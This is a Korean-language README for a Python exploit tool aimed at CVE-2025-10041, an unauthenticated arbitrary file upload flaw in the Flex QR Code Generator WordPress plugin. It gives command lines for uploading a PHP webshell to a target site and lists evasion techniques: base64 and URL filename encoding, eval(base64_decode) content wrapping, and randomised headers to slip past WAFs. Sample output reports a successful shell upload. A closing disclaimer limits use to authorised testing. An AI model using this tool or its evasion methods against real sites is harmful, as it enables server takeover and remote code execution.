CVE-2025-10041

Flex QR Code Generator <= 1.2.5 - 인증되지 않은 임의 파일 업로드

🚨 Flex QR Code Generator ≤ 1.2.5 - 인증되지 않은 임의 파일 업로드

📝 설명

WordPress용 Flex QR Code Generator 플러그인은 save_qr_code_to_db() 함수에서 파일 유형 검증이 누락되어 1.2.5를 포함한 모든 버전에서 임의 파일 업로드에 취약합니다.
이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 악성 파일을 업로드할 수 있으며, 잠재적으로 원격 코드 실행으로 이어질 수 있습니다.

• CVE: CVE-2025-10041
• CVSS: 9.8 (Critical)

💡 이 스크립트에 대하여

CVE-2025-10041.py는 이 취약점을 활용하여 공격을 자동화하도록 설계된 전문 익스플로잇 도구입니다.
일반적인 보호 및 인코딩 기술을 우회하기 위한 고급 기능을 제공합니다.

⚙️ 기능

• 자동 취약점 탐지 (버전 확인)
• 임의 파일 업로드 (PHP 웹셸 포함)
• 파일명 인코딩 우회: Base64 또는 URL 인코딩
• 콘텐츠 인코딩 우회: 셸 코드용 PHP base64 래퍼
• 기본 WAF 회피를 위한 무작위 HTTP 헤더
• 사용자 지정 헤더 지원
• 인자 파싱 및 도움말 메시지를 포함한 완전한 CLI

🖥️ 사용법

1. 기본 익스플로잇

python3 CVE-2025-10041.py -u http://target.com

2. 셸 파일명 인코딩

python3 CVE-2025-10041.py -u http://target.com --encode_filename base64
python3 CVE-2025-10041.py -u http://target.com --encode_filename url

3. 셸 콘텐츠 인코딩

python3 CVE-2025-10041.py -u http://target.com --encode_content base64

4. 사용자 지정 셸 파일명

python3 CVE-2025-10041.py -u http://target.com --shellname myevil.php

5. 고급 (옵션 조합)

python3 CVE-2025-10041.py -u http://target.com --encode_content base64 --encode_filename base64 --shellname myevil.php

6. 사용자 지정 헤더

python3 CVE-2025-10041.py -u http://target.com --headers "X-Forwarded-For: 127.0.0.1" "Cookie: PHPSESSID=1337"

🆘 도움말

사용 가능한 모든 옵션과 사용법을 확인하려면:

python3 CVE-2025-10041.py --help

🔓 우회 기법

• 파일명 인코딩: 일부 서버는 .php 또는 의심스러운 이름을 차단합니다. 인코딩은 필터를 우회할 수 있습니다.
• 콘텐츠 인코딩: 셸 코드를 eval(base64_decode(...))로 감싸면 콘텐츠 필터를 우회할 수 있습니다.
• 무작위 헤더: 탐지를 피하기 위해 user-agent, referer, 쿠키를 회전시킵니다.
• 사용자 지정 헤더: 고급 회피를 위해 자신만의 헤더를 추가합니다.

📋 예제 출력

Checking vulnerability version...
Target is vulnerable ...
Exploiting ...
Uploading shell 'shell.php' ...
Shell uploaded successfully.
Shell path (guess): /wp-content/uploads/shell_3.php
Response: {...}

⚠️ 면책 조항

이 스크립트는 교육, 연구 및 승인된 침투 테스트 목적으로만 제공됩니다.
소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에 대한 무단 사용은 엄격히 금지되며 불법입니다.
저자는 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.

✍️ 작성자:

Nxploited (Khaled Alenazi)